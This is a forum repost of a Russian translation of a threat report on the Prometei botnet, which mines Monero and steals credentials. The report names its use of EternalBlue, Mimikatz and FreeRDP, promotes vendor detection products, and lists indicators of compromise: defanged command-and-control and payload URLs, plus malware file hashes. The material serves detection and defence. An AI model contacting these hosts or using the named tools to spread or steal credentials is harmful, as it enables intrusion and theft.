    Несмотря на то, что действия ботнетов видны в журналах, некоторые из них успешно работают вне зоны действия радаров команд обнаружения, возможно, из-за их небольшого размера или постоянного совершенствования злоумышленниками. Prometei — это только один из типов подобных сетей, который ориентирован конкретно на майнинг Monero. Он успешно поддерживал вычислительную мощность в течение трёх месяцев, когда мы отслеживали его.

    Ботнет-сеть была активна ещё в начале марта, но, похоже, 8 июня он получил удар в результате перехвата одного из своих C2 серверов. Но этот перехват не остановил процесса майнинга или валидации украденных учётных данных. Ботнет продолжает приносить умеренную прибыль одному разработчику, скорее всего, в Восточной Европе.

    Злоумышленник, который стоит за этим, также, вероятно, является и его разработчиком. TTP указывают на то, что мы, возможно, имеем дело с профессиональным разработчиком, принимая во внимание его умение интегрировать SMB эксплойты, такие как Eternal Blue и код аутентификации, а также использовать существующие открытые проекты, такие как Mimikatz и FreeRDP.


    Помимо кражи вычислительных мощностей, кража и валидация учётных данных ботнетами также вызывает беспокойство. Несмотря на то, что мы видели только свидетельства использования украденных учётных данных для дальнейшего распространения, они также имеют ценность для подпольных рынков, а вероятность потери важных административных имён и паролей очень велика. Вот почему организациям, обнаружившим наличие ботнет-сети Prometei в своих системах, следует действовать незамедлительно, удалить её и убедиться, что никакие из их учётных данных не просочились на сервер управления и контроля.

    Охват

    Способы, используя которые наши клиенты могут обнаружить и заблокировать эту угрозу, перечислены ниже.

    Advanced Malware Protection (AMP) идеально подходит для блокировки работы вредоносного программного обеспечения, используемого этими злоумышленниками. Exploit Prevention, присутствующий в AMP, был разработан для защиты клиентов от неизвестных видов атак, подобных этой, автоматически.

    Сканирование сети при помощи Cisco Cloud Web Security (CWS) или Web Security Appliance (WSA) блокирует доступ к вредоносным сайтам и позволяет обнаружить вредоносное программное обеспечение, используемое для проведения таких атак.

    Email Security может блокировать вредоносные сообщения, отправляемые злоумышленниками в рамках их кампании.

    Инструменты Network Security, такие как Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR и Meraki MX, позволяют обнаружить вредоносную активность, связанную с этой угрозой.

    AMP Threat Grid помогает идентифицировать вредоносные двоичные файлы и встроить защиту во все продукты Cisco Security.

    Umbrella, наш безопасный интернет-шлюз (SIG), блокирует подключение пользователей к вредоносным доменам, IP-адресам и URL, независимо от того, находятся пользователи в корпоративной сети или вне ее.

    Пользователи Open Source Snort Subscriber Rule Set могут поддерживать самую последнюю версию пакета правил, скачивая её с сайта Snort.org.

    IOCs


    OSQuery

    Пользователи Cisco AMP могут прибегнуть к Orbital Advanced Search для выполнения сложных OSqueries с целью проверки того, были или нет заражены их конечные системы путём проведения этой атаки. Список конкретных запросов OSqueries по этой угрозе приводится ниже.

    Элементы реестра ботнет-сети Prometei

    URL
    Код:
    hxxp://103[.]11[.]244[.]221/crawler[.]php hxxp://103[.]11[.]244[.]221/lR[.]php hxxp://208[.]66[.]132[.]3:8080/7z[.]dll hxxp://208[.]66[.]132[.]3:8080/7z[.]exe hxxp://208[.]66[.]132[.]3:8080/_agent[.]7z hxxp://208[.]66[.]132[.]3:8080/chk445[.]php hxxp://208[.]66[.]132[.]3:8080/Desktop[.]txt hxxp://208[.]66[.]132[.]3:8080/dllr0[.]php hxxp://208[.]66[.]132[.]3:8080/srchindx2[.]php hxxp://208[.]66[.]132[.]3:8080/zlib[.]php hxxp://208[.]66[.]132[.]3:8080/ztasklist[.]php hxxp://69[.]28[.]95[.]50:180/miwalk[.]txt hxxp://69[.]28[.]95[.]50:180/walker14364[.]php hxxp://69[.]84[.]240[.]57:180/lR[.]php hxxp://69[.]84[.]240[.]57:180/miwalk[.]txt hxxp://69[.]84[.]240[.]57:180/walker14364[.]php hxxp://bk1[.]bitspiritfun2[.]net/cgi-bin/prometei[.]cgi hxxp://p1[.]feefreepool[.]net/cgi-bin/prometei[.]cgi hxxps://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei[.]cgi hxxps://211[.]23[.]16[.]239/prometheus[.]php
    SHA256

    Svchost.exe sha256s
    Код:
    601a1269ca0d274e518848c35a2399115000f099df149673b9dbc3cd77928d40 58d210b47abba83c54951f3c08a91d8091beae300c412316089b5506bd330adc ae078c49adba413a10a38a7dcfc20359808bc2724453f6df03a517b622cbca0e 9a5c109426480c7283f6f659cb863be81bd46301548d2754baf8b38e9e88828d d363dc2aafdf0d9366b5848fc780edfa6888418750e2a61148436908ea3f5433 8ca679d542904a89d677cb3fd7db309364f2214f6dc5e89099081835bec4e440 fe0a5d851a9dd2ba7d1b0818f59363f752fc7343bdfc306969280ade54b2f017 7f78ddc27b22559df5c50fd1e5d0957369aadd1557a239aaf4643d51d54c4f94 0d6ca238faf7911912b84086f7bdad3cd6a54db53677a69722de65982a43ee09 c08f291510cd4eccaacff5e04f0eca55b97d15c60b72b204eae1fc0c8d652f48 f6eddbabc1d6b05d2bc27077bcb55ff640c5cf8b09a18fc51ed160a851f8be58 8b7b40c0f59bbe4c76521b32cc4e344033c5730ccb9de28cfba966d8c26ca3ef a7ad84e8f5deb1d2e32dd84f3294404a5f7f739215bdd90d7d37d74ee8a05409 76110b87e46eb61f492d680a2b34662040bb9c25c947a599536cdaf5170fe581 ecd4c12ef01028c3f544c0f7c871c6d6f256997f1b7be4c8fdbb0f8572012444 b0500636927b2ddb1e26a21fbf19a8c1fc47a260062976ddbef60fd47c21dc6e ea2174993892789f0c1081152c31b3b3fef79c6a5016840ea72321229c7fe128 9e86d18d5761493e11fe95d166c433331d00e4f1bf3f3b23a07b95d449987b78 923201672a41f93fb43dae22f30f7d2d170c0b80e534c592e796bd8ad95654ea 1df6e9705e9ffb3d2c4f1d9ca49f1e27c4bcac13dba75eac9c41c3785a8ca4b1
    Msdtc sha256s
    Код:
    7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190 994d20fee2bd05e67c688e101f747a5d17b0352a838af818ad357c8c7a34a766 d3dc9cdb106902471ee95016440b855806e8e5dd0f313864e46126fd3ecfe4fe
    Отобранные
    Код:
    4ec815b28fe30f61a282c1943885fa81c6e0e98413f5e7f3f89ec6810f3b62a3 - SearchIndexer.exe e0a181318eb881d481d2e4830289ed128006269ace890139f054cf050351500a - chk445.exe 6935e6a303d3dff35079ae3ec78fd85b7bd4ff3ee2458b82cbfa548d7972c6d7 - crawler.exe 7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190 - SearchIndexer.exe a02b532cc9dc257009d7f49382746d9d0bce331a665f4a4c12ae6fc2917df745 - miwalk.exe 7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190 - msdtc.exe a303bc8d4011183780344329445bc6dfbb8417f534f304c956e4f86468d620d5 - nvstub.exe 0970037be8f90c3b2b718858a032e77916969113823895e268c7693dddba1181 - nvsync2.exe dc2fee73b41d488a1cccd905ecc9030e66ff7c7e5dcf60fc580406c6f8090854 - nvsync4.exe 382c3e80eadd7ca7b224ebe1fe656555fb15227face38fbea40ae4a9515ecb80 - ps.exe 54967e106bb2acfd5b4e69fc385c1c20d5af3bdc79b629a9e3ddb3a2375f0bc1 - rdpcIip.exe b65aef379e3173ca32b83fd0c54483c2090966910fdda3145af97b5dbff85427- smcard.exe 0dd1d869b3c7ce4af03ce4db6172b84d66c3779b48493d7e504de9d350195c5b - socks.exe 559d65f11e9143dfb093cabc6a1430438643922035765a445276abd80c15ce4b - svchost1.exe c08f291510cd4eccaacff5e04f0eca55b97d15c60b72b204eae1fc0c8d652f48 - svchost2.exe 94d066b7d2d8b95d6da525f61c19a7bbdec5afdb033dfe2712dd51d5073b1db2 - svchost64bitearlier.exe f09679bae1388033b17196f92430678e7b15816648f380bb4de3dd25009011b7 - ztasklist.exe 0ed9ac4238a4b5aadcd845e4dcd786ce2ee265a6b1a50e8b9019cceb6c013de5 - tor-gencert.exe f6eddbabc1d6b05d2bc27077bcb55ff640c5cf8b09a18fc51ed160a851f8be58 - zsvc.exe
    Прочие
    Код:
    a02b532cc9dc257009d7f49382746d9d0bce331a665f4a4c12ae6fc2917df745 f555431a09ae975ac0e8f138ce4eaf44cd8a3460e3bb7ba44b0101cd3a5b1157 61428b3d336636bfef0e7fe1783f9b2d62182c06d3928ec4b9b7201170e24fb6 89d5e5d51e9bb0cee8708adc5dd3e961410b6a55963f020a5930ed93aa68c0eb 24554a4eed764023d6e5e4990729308ee80ce0f3437ab4af6ad0ebff64512516 3574734ad6416ca584c4c0211156fb24107e9b983e6542199736530e4a4effcd 7f7f474d054ffc638b72f8bdd34e31315a8c72846d15479f86919569fea5b5fc 0c821863e8fd8e493d90004f734055f91b8f43d3b905a38dc983443146f48602 236120868431f1fe3637623a8a4cbda6bbfdd71c4e55a1dff76efa0381274623 02e1852066ad61bddf98943cb8e3091d6e23d75bf24340809e8212aedfd6e450 50c5a74fd34ae16557e077e4116b823d049ac735e0ec31328851b385b4891523 1946c56c261d86dd78f087cb6452a0cc58895c7bcb7c73a8023ee6c9d5a5c2eb 57cb49a5406b0ed9c81907940fda8cd534116e19a7821ad3061b209f46675f2d a1c05973ac397fe81b2e553aecc322c794dc5977928e7b56cf1c8a62f68afdf0 efaa199e64bd4132a4bf783c37bbc20fefb6ea45ff60ea68f4a4214bf8ab1268 54967e106bb2acfd5b4e69fc385c1c20d5af3bdc79b629a9e3ddb3a2375f0bc1 a122eeeac51784d54ddf159749b4e657ad821037237c07540fb2ff25a67b1210 eeb1a574da0836a4ac34132d96fd442d7c5827e607389ef1dfebeb419a09dae7
    ---

    Источник: Prometei botnet and its quest for Monero

    Перевод:
    Mr. Pickles (@v1docq47)
    Редактирование:
    Agent LvM (@LvMi4)
    Коррекция:
    Kukima (@Kukima)
     
    #1 Mr. Pickles, 12 авг 2020
    Последнее редактирование модератором: 17 авг 2020
    MoneroRus нравится это.
  • О нас

    Наш сайт является одним из уникальных мест, где русскоязычное сообщество Monero может свободно общаться на темы, связанные с этой криптовалютой. Мы стараемся публиковать полезные мануалы и статьи (как собственные, так и переводы с английского) о криптовалюте Monero. Если вы хорошо владеете английским (или можете писать собственные статьи/мануалы) и хотите помочь в переводах и общем развитии Monero для русскоязычной аудитории - свяжитесь с одним из администраторов.